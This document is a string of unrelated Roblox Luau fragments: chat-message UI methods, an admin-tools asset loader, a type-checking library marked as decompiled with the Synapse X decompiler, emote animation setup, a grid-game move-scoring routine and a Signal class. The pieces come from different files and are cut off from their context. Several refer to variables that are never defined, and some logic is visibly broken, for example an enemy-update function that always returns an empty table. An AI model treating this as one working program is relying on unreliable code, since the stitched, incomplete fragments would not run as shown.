function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize) xSize = xSize or BaseFrame.AbsoluteSize.X local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000)) return textBoundsSize.Y end function methods:GetNumberOfSpaces(str, font, textSize) local strSize = self:GetStringTextBounds(str, font, textSize) local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize) return math.ceil(strSize.X / singleSpaceSize.X) end function methods:CreateBaseMessage(message, font, textSize, chatColor) local BaseFrame = self:GetFromObjectPool("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 0, 18) BaseFrame.Visible = true BaseFrame.BackgroundTransparency = 1 local messageBorder = 8 local BaseMessage = self:GetFromObjectPool("TextLabel") BaseMessage.Selectable = false BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0) BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0) BaseMessage.BackgroundTransparency = 1 BaseMessage.Font = font BaseMessage.TextSize = textSize BaseMessage.TextXAlignment = Enum.TextXAlignment.Left BaseMessage.TextYAlignment = Enum.TextYAlignment.Top BaseMessage.TextTransparency = 0 BaseMessage.TextStrokeTransparency = 0.75 BaseMessage.TextColor3 = chatColor BaseMessage.TextWrapped = true BaseMessage.Text = message BaseMessage.Visible = true BaseMessage.Parent = BaseFrame return BaseFrame, BaseMessage end function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName) local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize) local NameButton = self:GetFromObjectPool("TextButton") NameButton.Selectable = false NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y) NameButton.Position = UDim2.new(0, 0, 0, 0) NameButton.BackgroundTransparency = 1 NameButton.Font = BaseMessage.Font NameButton.TextSize = BaseMessage.TextSize NameButton.TextXAlignment = BaseMessage.TextXAlignment NameButton.TextYAlignment = BaseMessage.TextYAlignment NameButton.TextTransparency = BaseMessage.TextTransparency NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency NameButton.TextColor3 = nameColor NameButton.Text = formatName NameButton.Visible = true NameButton.Parent = BaseMessage local clickedConn = NameButton.MouseButton1Click:connect(function() self:NameButtonClicked(NameButton, playerName) end) local changedConn = nil changedConn = NameButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return NameButton end function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName) local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize) local ChannelButton = self:GetFromObjectPool("TextButton") ChannelButton.Selectable = false ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y) ChannelButton.Position = UDim2.new(0, 0, 0, 0) ChannelButton.BackgroundTransparency = 1 ChannelButton.Font = BaseMessage.Font ChannelButton.TextSize = BaseMessage.TextSize ChannelButton.TextXAlignment = BaseMessage.TextXAlignment ChannelButton.TextYAlignment = BaseMessage.TextYAlignment ChannelButton.TextTransparency = BaseMessage.TextTransparency ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency ChannelButton.TextColor3 = channelColor ChannelButton.Text = formatChannelName ChannelButton.Visible = true ChannelButton.Parent = BaseMessage local clickedConn = ChannelButton.MouseButton1Click:connect(function() self:ChannelButtonClicked(ChannelButton, channelName) end) local changedConn = nil changedConn = ChannelButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return ChannelButton end function GetWhisperChannelPrefix() if ChatConstants.WhisperChannelPrefix then return ChatConstants.WhisperChannelPrefix end return "To " end function methods:NameButtonClicked(nameButton, playerName) if not self.ChatWindow then return end if ChatSettings.ClickOnPlayerNameToWhisper then local player = Players:FindFirstChild(playerName) if player and player ~= LocalPlayer then local whisperChannel = GetWhisperChannelPrefix() ..playerName if self.ChatWindow:GetChannel(whisperChannel) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= whisperChannel then self.ChatWindow:SwitchCurrentChannel(whisperChannel) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() elseif not self.ChatBar:IsInCustomState() then local whisperMessage = "/w " ..playerName self.ChatBar:CaptureFocus() self.ChatBar:SetText(whisperMessage) end end end end function methods:ChannelButtonClicked(channelButton, channelName) if not self.ChatWindow then return end if ChatSettings.ClickOnChannelNameToSetMainChannel then if self.ChatWindow:GetChannel(channelName) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= channelName then self.ChatWindow:SwitchCurrentChannel(channelName) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() end end end function methods:RegisterChatWindow(chatWindow) self.ChatWindow = chatWindow self.ChatBar = chatWindow:GetChatBar() end function methods:GetFromObjectPool(className) if self.ObjectPool == nil then return Instance.new(className) end return self.ObjectPool:GetInstance(className) end function methods:RegisterObjectPool(objectPool) self.ObjectPool = objectPool end
-- Create AdminTools if it doesn't exist
if not AdminTools then AdminTools = Instance.new('Model') AdminTools.Name = 'AdminTools' -- Load all of the assets in ToolAssetsToLoad and put them in AdminTools for _, intObject in pairs(ToolAssetsToLoad:GetChildren()) do if intObject and intObject:IsA('IntValue') and intObject.Value then local assetModel = InsertService:LoadAsset(intObject.Value) if assetModel then local asset = assetModel:GetChildren()[1] if asset then asset.Parent = AdminTools end end end end AdminTools.Parent = LightingService end PlayersService.PlayerAdded:connect(OnPlayerAdded)
-- / ga / --
local ga = game.ServerStorage.GA local models = ga.Models
-- Alias function to automatically error out for invalid types.
local function MandateType(value, type, paramName, nullable) if nullable and value == nil then return end assert(typeof(value) == type, ERR_INVALID_TYPE:format(paramName or "ERR_NO_PARAM_NAME", type, typeof(value))) end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { type = function(p1) return function(p2) local v2 = type(p2); if v2 == p1 then return true; end; return false, string.format("%s expected, got %s", p1, v2); end; end, typeof = function(p3) return function(p4) local v3 = typeof(p4); if v3 == p3 then return true; end; return false, string.format("%s expected, got %s", p3, v3); end; end, any = function(p5) if p5 ~= nil then return true; end; return false, "any expected, got nil"; end }; v1.boolean = v1.typeof("boolean"); v1.thread = v1.typeof("thread"); v1.callback = v1.typeof("function"); v1["function"] = v1.callback; v1.none = v1.typeof("nil"); v1.nil = v1.none; v1.string = v1.typeof("string"); v1.table = v1.typeof("table"); v1.userdata = v1.type("userdata"); function v1.number(p6) local v4 = typeof(p6); if v4 ~= "number" then return false, string.format("number expected, got %s", v4); end; if p6 == p6 then return true; end; return false, "unexpected NaN value"; end; function v1.nan(p7) local v5 = typeof(p7); if v5 ~= "number" then return false, string.format("number expected, got %s", v5); end; if p7 ~= p7 then return true; end; return false, "unexpected non-NaN value"; end; v1.Axes = v1.typeof("Axes"); v1.BrickColor = v1.typeof("BrickColor"); v1.CatalogSearchParams = v1.typeof("CatalogSearchParams"); v1.CFrame = v1.typeof("CFrame"); v1.Color3 = v1.typeof("Color3"); v1.ColorSequence = v1.typeof("ColorSequence"); v1.ColorSequenceKeypoint = v1.typeof("ColorSequenceKeypoint"); v1.DateTime = v1.typeof("DateTime"); v1.DockWidgetPluginGuiInfo = v1.typeof("DockWidgetPluginGuiInfo"); v1.Enum = v1.typeof("Enum"); v1.EnumItem = v1.typeof("EnumItem"); v1.Enums = v1.typeof("Enums"); v1.Faces = v1.typeof("Faces"); v1.Instance = v1.typeof("Instance"); v1.NumberRange = v1.typeof("NumberRange"); v1.NumberSequence = v1.typeof("NumberSequence"); v1.NumberSequenceKeypoint = v1.typeof("NumberSequenceKeypoint"); v1.PathWaypoint = v1.typeof("PathWaypoint"); v1.PhysicalProperties = v1.typeof("PhysicalProperties"); v1.Random = v1.typeof("Random"); v1.Ray = v1.typeof("Ray"); v1.RaycastParams = v1.typeof("RaycastParams"); v1.RaycastResult = v1.typeof("RaycastResult"); v1.RBXScriptConnection = v1.typeof("RBXScriptConnection"); v1.RBXScriptSignal = v1.typeof("RBXScriptSignal"); v1.Rect = v1.typeof("Rect"); v1.Region3 = v1.typeof("Region3"); v1.Region3int16 = v1.typeof("Region3int16"); v1.TweenInfo = v1.typeof("TweenInfo"); v1.UDim = v1.typeof("UDim"); v1.UDim2 = v1.typeof("UDim2"); v1.Vector2 = v1.typeof("Vector2"); v1.Vector2int16 = v1.typeof("Vector2int16"); v1.Vector3 = v1.typeof("Vector3"); v1.Vector3int16 = v1.typeof("Vector3int16"); function v1.literal(...) local v6 = select("#", ...); if v6 == 1 then local u1 = ...; return function(p8) if p8 == u1 then return true; end; return false, string.format("expected %s, got %s", tostring(u1), tostring(p8)); end; end; local v7 = {}; for v8 = 1, v6 do v7[v8] = v1.literal((select(v8, ...))); end; return v1.union(table.unpack(v7, 1, v6)); end; v1.exactly = v1.literal; function v1.keyOf(p9) local v9 = {}; local v10 = 0; for v11 in pairs(p9) do v10 = v10 + 1; v9[v10] = v11; end; return v1.literal(table.unpack(v9, 1, v10)); end; function v1.valueOf(p10) local v12 = {}; local v13 = 0; for v14, v15 in pairs(p10) do v13 = v13 + 1; v12[v13] = v15; end; return v1.literal(table.unpack(v12, 1, v13)); end; function v1.integer(p11) local v16, v17 = v1.number(p11); if not v16 then return false, v17 and ""; end; if p11 % 1 == 0 then return true; end; return false, string.format("integer expected, got %s", p11); end; function v1.numberMin(p12) return function(p13) local v18, v19 = v1.number(p13); if not v18 then return false, v19 and ""; end; if p12 <= p13 then return true; end; return false, string.format("number >= %s expected, got %s", p12, p13); end; end; function v1.numberMax(p14) return function(p15) local v20, v21 = v1.number(p15); if not v20 then return false, v21; end; if p15 <= p14 then return true; end; return false, string.format("number <= %s expected, got %s", p14, p15); end; end; function v1.numberMinExclusive(p16) return function(p17) local v22, v23 = v1.number(p17); if not v22 then return false, v23 and ""; end; if p16 < p17 then return true; end; return false, string.format("number > %s expected, got %s", p16, p17); end; end; function v1.numberMaxExclusive(p18) return function(p19) local v24, v25 = v1.number(p19); if not v24 then return false, v25 and ""; end; if p19 < p18 then return true; end; return false, string.format("number < %s expected, got %s", p18, p19); end; end; v1.numberPositive = v1.numberMinExclusive(0); v1.numberNegative = v1.numberMaxExclusive(0); function v1.numberConstrained(p20, p21) assert(v1.number(p20)); assert(v1.number(p21)); local u2 = v1.numberMin(p20); local u3 = v1.numberMax(p21); return function(p22) local v26, v27 = u2(p22); if not v26 then return false, v27 and ""; end; local v28, v29 = u3(p22); if v28 then return true; end; return false, v29 and ""; end; end; function v1.numberConstrainedExclusive(p23, p24) assert(v1.number(p23)); assert(v1.number(p24)); local u4 = v1.numberMinExclusive(p23); local u5 = v1.numberMaxExclusive(p24); return function(p25) local v30, v31 = u4(p25); if not v30 then return false, v31 and ""; end; local v32, v33 = u5(p25); if v32 then return true; end; return false, v33 and ""; end; end; function v1.match(p26) assert(v1.string(p26)); return function(p27) local v34, v35 = v1.string(p27); if not v34 then return false, v35; end; if string.match(p27, p26) ~= nil then return true; end; return false, string.format("%q failed to match pattern %q", p27, p26); end; end; function v1.optional(p28) assert(v1.callback(p28)); return function(p29) if p29 == nil then return true; end; local v36, v37 = p28(p29); if v36 then return true; end; return false, string.format("(optional) %s", v37 and ""); end; end; function v1.tuple(...) local u6 = { ... }; return function(...) local v38 = { ... }; local v39, v40, v41 = ipairs(u6); while true do v39(v40, v41); if not v39 then break; end; v41 = v39; local v42, v43 = v40(v38[v39]); if v42 == false then return false, string.format("Bad tuple index #%s:\n\t%s", v39, v43 and ""); end; end; return true; end; end; function v1.keys(p30) assert(v1.callback(p30)); return function(p31) local v44, v45 = v1.table(p31); if v44 == false then return false, v45 and ""; end; for v46 in pairs(p31) do local v47, v48 = p30(v46); if v47 == false then return false, string.format("bad key %s:\n\t%s", tostring(v46), v48 and ""); end; end; return true; end; end; function v1.values(p32) assert(v1.callback(p32)); return function(p33) local v49, v50 = v1.table(p33); if v49 == false then return false, v50 and ""; end; for v51, v52 in pairs(p33) do local v53, v54 = p32(v52); if v53 == false then return false, string.format("bad value for key %s:\n\t%s", tostring(v51), v54 and ""); end; end; return true; end; end; function v1.map(p34, p35) assert(v1.callback(p34)); assert(v1.callback(p35)); local u7 = v1.keys(p34); local u8 = v1.values(p35); return function(p36) local v55, v56 = u7(p36); if not v55 then return false, v56 and ""; end; local v57, v58 = u8(p36); if v57 then return true; end; return false, v58 and ""; end; end; function v1.set(p37) return v1.map(p37, v1.literal(true)); end; local u9 = v1.keys(v1.integer); function v1.array(p38) assert(v1.callback(p38)); local u10 = v1.values(p38); return function(p39) local v59, v60 = u9(p39); if v59 == false then return false, string.format("[array] %s", v60 and ""); end; local v61 = 0; local v62, v63, v64 = ipairs(p39); while true do v62(v63, v64); if not v62 then break; end; v64 = v62; v61 = v61 + 1; end; for v65 in pairs(p39) do if v65 < 1 then return false, string.format("[array] key %s must be sequential", tostring(v65)); end; if v61 < v65 then return false, string.format("[array] key %s must be sequential", tostring(v65)); end; end; local v66, v67 = u10(p39); if v66 then return true; end; return false, string.format("[array] %s", v67 and ""); end; end; function v1.strictArray(...) local v68 = { ... }; assert(v1.array(v1.callback)(v68)); return function(p40) local v69, v70 = u9(p40); if v69 == false then return false, string.format("[strictArray] %s", v70 and ""); end; if #v68 < #p40 then return false, string.format("[strictArray] Array size exceeds limit of %d", #v68); end; for v71, v72 in pairs(v68) do local v73, v74 = v72(p40[v71]); if not v73 then return false, string.format("[strictArray] Array index #%d - %s", v71, v74); end; end; return true; end; end; u9 = v1.array; u9 = u9(v1.callback); function v1.union(...) local v75 = { ... }; assert(u9(v75)); return function(p41) local v76, v77, v78 = ipairs(v75); while true do v76(v77, v78); if not v76 then break; end; v78 = v76; if v77(p41) then return true; end; end; return false, "bad type for union"; end; end; v1.some = v1.union; function v1.intersection(...) local v79 = { ... }; assert(u9(v79)); return function(p42) local v80, v81, v82 = ipairs(v79); while true do v80(v81, v82); if not v80 then break; end; v82 = v80; local v83, v84 = v81(p42); if not v83 then return false, v84 and ""; end; end; return true; end; end; v1.every = v1.intersection; u9 = v1.map; u9 = u9(v1.any, v1.callback); function v1.interface(p43) assert(u9(p43)); return function(p44) local v85, v86 = v1.table(p44); if v85 == false then return false, v86 and ""; end; for v87, v88 in pairs(p43) do local v89, v90 = v88(p44[v87]); if v89 == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(v87), v90 and ""); end; end; return true; end; end; function v1.strictInterface(p45) assert(u9(p45)); return function(p46) local v91, v92 = v1.table(p46); if v91 == false then return false, v92 and ""; end; for v93, v94 in pairs(p45) do local v95, v96 = v94(p46[v93]); if v95 == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(v93), v96 and ""); end; end; for v97 in pairs(p46) do if not p45[v97] then return false, string.format("[interface] unexpected field %q", tostring(v97)); end; end; return true; end; end; u9 = function(p47, p48) assert(v1.string(p47)); local v98 = nil; if p48 ~= nil then v98 = v1.children(p48); end; return function(p49) local v99, v100 = v1.Instance(p49); if not v99 then return false, v100 and ""; end; if p49.ClassName ~= p47 then return false, string.format("%s expected, got %s", p47, p49.ClassName); end; if v98 then local v101, v102 = v98(p49); if not v101 then return false, v102; end; end; return true; end; end; v1.instanceOf = u9; u9 = v1.instanceOf; v1.instance = u9; u9 = function(p50, p51) assert(v1.string(p50)); local v103 = nil; if p51 ~= nil then v103 = v1.children(p51); end; return function(p52) local v104, v105 = v1.Instance(p52); if not v104 then return false, v105 and ""; end; if not p52:IsA(p50) then return false, string.format("%s expected, got %s", p50, p52.ClassName); end; if v103 then local v106, v107 = v103(p52); if not v106 then return false, v107; end; end; return true; end; end; v1.instanceIsA = u9; u9 = function(p53) assert(v1.Enum(p53)); return function(p54) local v108, v109 = v1.EnumItem(p54); if not v108 then return false, v109; end; if p54.EnumType == p53 then return true; end; return false, string.format("enum of %s expected, got enum of %s", tostring(p53), tostring(p54.EnumType)); end; end; v1.enum = u9; u9 = v1.tuple; u9 = u9(v1.callback, v1.callback); function v1.wrap(p55, p56) assert(u9(p55, p56)); return function(...) assert(p56(...)); return p55(...); end; end; u9 = function(p57) return function(...) assert(p57(...)); end; end; v1.strict = u9; u9 = v1.map; u9 = u9(v1.string, v1.callback); function v1.children(p58) assert(u9(p58)); return function(p59) local v110, v111 = v1.Instance(p59); if not v110 then return false, v111 and ""; end; local v112 = {}; local v113, v114, v115 = ipairs(p59:GetChildren()); while true do v113(v114, v115); if not v113 then break; end; v115 = v113; local l__Name__116 = v114.Name; if p58[l__Name__116] then if v112[l__Name__116] then return false, string.format("Cannot process multiple children with the same name %q", l__Name__116); end; v112[l__Name__116] = v114; end; end; for v117, v118 in pairs(p58) do local v119, v120 = v118(v112[v117]); if not v119 then return false, string.format("[%s.%s] %s", p59:GetFullName(), v117, v120 and ""); end; end; return true; end; end; return v1;
-- Stores useful information about Luau errors.
export type Error = { type: string, -- replace with "Error" when Luau supports singleton types raw: string, message: string, trace: string }
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} local PreloadAnimsUserFlag = false local PreloadedAnims = {} local successPreloadAnim, msgPreloadAnim = pcall(function() PreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserPreloadAnimations") end) if not successPreloadAnim then PreloadAnimsUserFlag = false end math.randomseed(tick()) function findExistingAnimationInSet(set, anim) if set == nil or anim == nil then return 0 end for idx = 1, set.count, 1 do if set[idx].anim.AnimationId == anim.AnimationId then return idx end end return 0 end function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local AllowDisableCustomAnimsUserFlag = false local success, msg = pcall(function() AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2") end) if (AllowDisableCustomAnimsUserFlag) then local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 0 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then local newWeight = 1 local weightObject = childPart:FindFirstChild("Weight") if (weightObject ~= nil) then newWeight = weightObject.Value end animTable[name].count = animTable[name].count + 1 idx = animTable[name].count animTable[name][idx] = {} animTable[name][idx].anim = childPart animTable[name][idx].weight = newWeight animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end)) end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight end end -- preload anims if PreloadAnimsUserFlag then for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do if PreloadedAnims[animType[idx].anim.AnimationId] == nil then Humanoid:LoadAnimation(animType[idx].anim) PreloadedAnims[animType[idx].anim.AnimationId] = true end end end end end
--to do --go towards boxes --account for arrows and paladins --account for boss size
local MoveDirections = {Vector3.new(5,0,0),Vector3.new(-5,0,0),Vector3.new(0,0,5),Vector3.new(0,0,-5)} local GasDirections = {Vector3.new(5,0,0),Vector3.new(-5,0,0),Vector3.new(0,0,5),Vector3.new(0,0,-5),Vector3.new(5,0,5),Vector3.new(-5,0,5),Vector3.new(5,0,-5),Vector3.new(-5,0,-5)} return function(Map) local Pathfinding = require(game.ReplicatedStorage.PathfindFunctions)(Map) local Movement = require(game.ReplicatedStorage.EnemyAi.Movement)(Map) local Self = {} local ExploredPositions = {} local OutsidePositions = {} Self.CheckSquare = function(Position) if table.find(Map,Vector3.new(Position.X, 0, Position.Z)) then return true end return false end Self.GetDangerSpots = function(Enemies) local Spots = {} for i, Enemy in pairs (Enemies) do if Enemy.IsAttacking then for i, v in pairs(MoveDirections) do table.insert(Spots, Enemy.Position - Vector3.new(0, Enemy.Position.Y) + v) end end end for i, Projectile in pairs(workspace.ActiveProjectiles:GetChildren()) do local NewPos = Projectile.PrimaryPart.Position + Projectile.MoveDirection.Value local FlooredSpot = Vector3.new(math.floor(NewPos.X/5)*5, 0,math.floor(NewPos.Z/5)*5) table.insert(Spots, FlooredSpot) end for i, Trap in pairs(workspace.ActiveTraps:GetChildren()) do table.insert(Spots, Trap.PrimaryPart.Position) if Trap.PrimaryPart.Size.X >= 12 then for i, v in pairs(GasDirections) do table.insert(Spots, Trap.PrimaryPart.Position + v) end end end return Spots end Self.GetAttackersOfSpot = function(Position) local Attackers = {} for i, Model in pairs(workspace.ActiveEnemies:GetChildren()) do if (Model.PrimaryPart.Position - Position).Magnitude <= 7 then table.insert(Attackers, Model) end end return Attackers end Self.GetEnemies = function() local EnemyTable = {} for i ,v in pairs(workspace.ActiveEnemies:GetChildren()) do local SpotData = {} SpotData.Position = v.PrimaryPart.Position SpotData.IsAttacking = v.PrimaryPart.BrickColor == BrickColor.new("Really red") table.insert(EnemyTable, SpotData) end return EnemyTable end Self.GetEnemyAtPosition = function(Position, EnemyTable) for i, v in pairs(EnemyTable) do if Vector3.new(v.Position.X, 0, v.Position.Z) == Vector3.new(Position.X, 0, Position.Z) then return v end end return false end Self.CheckIfDangerSpot = function(Position, DangerSpots) for i, v in pairs(DangerSpots) do if Vector3.new(v.X, 0, v.Z) == Vector3.new(Position.X, 0, Position.Z) then return v end end return false end Self.GetBestCostingSpot = function(Spots) local BestCost = -math.huge local BestSpots = {} for i, v in pairs(Spots) do if v.Cost > BestCost then BestCost = v.Cost BestSpots = {} table.insert(BestSpots, v) elseif v.Cost == BestCost then table.insert(BestSpots, v) end end return BestSpots[math.random(1, #BestSpots)] end Self.PositionReachedAmount = function(Position) local Amount = 0 for i, v in pairs(ExploredPositions) do if Vector3.new(v.X, 0, v.Z) == Position - Vector3.new(Position.Y) then Amount += 1 end end return Amount end Self.UpdateEnemies = function(EnemyTable) local NewTable = {} for i, v in pairs(EnemyTable) do if v.IsAttacking then local MoveDirection = Movement.GetNearestPlayerDirection(v.Position, false, false, nil, true) local NewData = {} NewData.Position = v.Position + MoveDirection -- you could check but this is the lazy way NewData.IsAttacking = true end end return NewTable end Self.GetOutsideSquares = function() local Squares = {} for i, Spot in pairs(Map) do for i, v in pairs(MoveDirections) do if not Self.CheckSquare(Spot+v) then table.insert(Squares, Spot) break end end end OutsidePositions = Squares end Self.IsOutsideSquare = function(Position, Squares) if table.find(OutsidePositions, Vector3.new(Position.X,0,Position.Z)) then return true else return false end end Self.GetMoveInfo = function(EnemyTable, Depth, playerPos, SentDirections) local Spots = {} local PlayerPos = playerPos local DangerSpots = Self.GetDangerSpots(EnemyTable) local Loot = workspace.Loot:GetChildren() local Closestloot = nil local LootPos = nil local ClosestLootDistance = math.huge if #Loot~=0 then for i, v in pairs(workspace.Loot:GetChildren()) do local Distance = (v.PrimaryPart.Position - PlayerPos).Magnitude if Distance < ClosestLootDistance then Closestloot = v ClosestLootDistance= Distance end end LootPos = Closestloot.PrimaryPart.Position end local NewPos for i, v in pairs(MoveDirections) do DangerSpots = Self.GetDangerSpots(EnemyTable) --PlayerPos = game.Players.LocalPlayer.Character.PrimaryPart.Position local OriginPos = PlayerPos local AttackDirection = OriginPos + v --something wrong NewPos = (not Self.CheckSquare(AttackDirection) or Self.GetEnemyAtPosition(AttackDirection, EnemyTable))and OriginPos or AttackDirection local Directions if SentDirections then Directions = SentDirections table.remove(Directions, 1) end local Directions = (not SentDirections and LootPos) and Pathfinding.GetDirections(PlayerPos, LootPos) -- could check if there are still boxes local IsDangerous = Self.CheckIfDangerSpot(NewPos, DangerSpots) local Enemy = Self.GetEnemyAtPosition(AttackDirection, EnemyTable) local TimesPositionReached = Self.PositionReachedAmount(NewPos) local HasLoot = Closestloot and (Closestloot.PrimaryPart.Position - NewPos).Magnitude<3 local IsOutsideSquare = Self.IsOutsideSquare(NewPos) local IsDirectionOfCrate = Directions and Directions[1] == v -- make it realize that an enemy dies when it's attacked at 0 health -- make this account for paladins local AttackersOfPlayerSpot = Self.GetAttackersOfSpot(PlayerPos) local CanAttackThoughRed = #AttackersOfPlayerSpot== 1 and AttackersOfPlayerSpot[1].Health.Value == 1 and AttackersOfPlayerSpot[1].PrimaryPart.Position == AttackDirection + Vector3.new(0, -AttackDirection.Y + AttackersOfPlayerSpot[1].PrimaryPart.Position.Y) local Cost = (IsDangerous and not CanAttackThoughRed) and-10 or 0 Cost += TimesPositionReached*-0.1 Cost += IsOutsideSquare and -1 or 0 Cost += (Enemy and not IsDangerous) and 2 or 0 Cost += CanAttackThoughRed and 2 or 0 Cost += IsDirectionOfCrate and 4 or 0 Cost += HasLoot and 4 or 0 if Depth>0 then Cost += Self.GetMoveInfo(Self.UpdateEnemies(EnemyTable), Depth-1, PlayerPos + v, Directions).Cost end local Data = {} Data.Direction = v Data.Cost = Cost table.insert(Spots, Data) end local BestSpot = Self.GetBestCostingSpot(Spots) table.insert(ExploredPositions, PlayerPos) return BestSpot end Self.MovePlayer = function() local PlayerPos = game.Players.LocalPlayer.Character.PrimaryPart.Position PlayerPos = Vector3.new(math.floor(PlayerPos.X + 0.5), 0, math.floor(PlayerPos.Z + 0.5)) Self.GetOutsideSquares() local MoveInfo = Self.GetMoveInfo(Self.GetEnemies(), 0, PlayerPos) game.ReplicatedStorage.Events.Move:FireServer(MoveInfo.Direction.Unit) end return Self end
-- Format params: methodName, ctorName
local ERR_NOT_INSTANCE = "Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s" function SignalStatic.new(signalName: string): Signal local signalObj: Signal = { Name = signalName, Connections = {}, YieldingThreads = {} } return setmetatable(signalObj, SignalStatic) end local function NewConnection(sig: Signal, func: any): Connection local connectionObj: Connection = { Signal = sig, Delegate = func, Index = -1 } return setmetatable(connectionObj, ConnectionStatic) end local function ThreadAndReportError(delegate: any, args: GenericTable, handlerName: string) local thread = coroutine.create(function () delegate(unpack(args)) end) local success, msg = coroutine.resume(thread) if not success then -- For the love of god roblox PLEASE add the ability to customize message type in output statements. -- This "testservice" garbage at the start of my message is annoying as all hell. TestService:Error(string.format("Exception thrown in your %s event handler: %s", handlerName, msg)) TestService:Checkpoint(debug.traceback(thread)) end end function SignalStatic:Connect(func) assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Connect", "Signal.new()")) local connection = NewConnection(self, func) connection.Index = #self.Connections + 1 table.insert(self.Connections, connection.Index, connection) return connection end function SignalStatic:Fire(...) assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Fire", "Signal.new()")) local args = table.pack(...) local allCons = self.Connections local yieldingThreads = self.YieldingThreads for index = 1, #allCons do local connection = allCons[index] if connection.Delegate ~= nil then -- Catch case for disposed signals. ThreadAndReportError(connection.Delegate, args, connection.Signal.Name) end end for index = 1, #yieldingThreads do local thread = yieldingThreads[index] if thread ~= nil then coroutine.resume(thread, ...) end end end function SignalStatic:FireSync(...) assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("FireSync", "Signal.new()")) local args = table.pack(...) local allCons = self.Connections local yieldingThreads = self.YieldingThreads for index = 1, #allCons do local connection = allCons[index] if connection.Delegate ~= nil then -- Catch case for disposed signals. connection.Delegate(unpack(args)) end end for index = 1, #yieldingThreads do local thread = yieldingThreads[index] if thread ~= nil then coroutine.resume(thread, ...) end end end function SignalStatic:Wait() assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Wait", "Signal.new()")) local args = {} local thread = coroutine.running() table.insert(self.YieldingThreads, thread) args = { coroutine.yield() } table.removeObject(self.YieldingThreads, thread) return unpack(args) end function SignalStatic:Dispose() assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Dispose", "Signal.new()")) local allCons = self.Connections for index = 1, #allCons do allCons[index]:Disconnect() end self.Connections = {} setmetatable(self, nil) end function ConnectionStatic:Disconnect() assert(getmetatable(self) == ConnectionStatic, ERR_NOT_INSTANCE:format("Disconnect", "private function NewConnection()")) table.remove(self.Signal.Connections, self.Index) self.SignalStatic = nil self.Delegate = nil self.YieldingThreads = {} self.Index = -1 setmetatable(self, nil) end return SignalStatic
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
